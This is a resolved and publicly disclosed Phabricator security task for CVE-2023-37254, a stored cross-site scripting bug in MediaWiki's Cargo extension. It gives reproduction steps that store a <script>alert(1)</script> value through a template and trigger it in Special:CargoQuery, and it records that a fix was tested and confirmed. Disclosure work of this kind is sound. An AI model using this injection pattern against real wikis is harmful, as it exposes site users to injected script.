Page MenuHomePhabricator

CVE-2023-37254: Extension:Cargo XSS in Special:CargoQuery using default format
Closed, ResolvedPublicSecurity

Description

Steps to reproduce:

Make a template Template:TextXSS:

<noinclude>{{#cargo_declare: _table=TestXSS
|field1=String (mandatory)
}}
</noinclude><includeonly>

Field1 is {{{field1}}}

{{#cargo_store: _table=TestXSS
|field1={{{field1}}}
}}
</includeonly>

And create the table.

Make a page Item:

{{TestXSS|field1=<script>alert(1)</script>}}

Go to Special:CargoQuery. Put table as TestXSS, field as TestXSS.field1. Keep format as (default). Hit submit, notice the popup box

Details

Author Affiliation
Other (Please specify in description)

Event Timeline

(And thanks for letting me know about this problem!)

I tested the fix, and can confirm that it seems to fix the issue.

I filed T331311 for a second thing i noticed while looking at the code.

Yaron_Koren claimed this task.

[Making public since resolved]

Bawolff changed the visibility from "Custom Policy" to "Public (No Login Required)".Apr 5 2023, 11:38 AM
Bawolff changed the edit policy from "Custom Policy" to "All Users".
mmartorana renamed this task from Extension:Cargo XSS in Special:CargoQuery using default format to CVE-2023-37254: Extension:Cargo XSS in Special:CargoQuery using default format.Jun 30 2023, 5:56 PM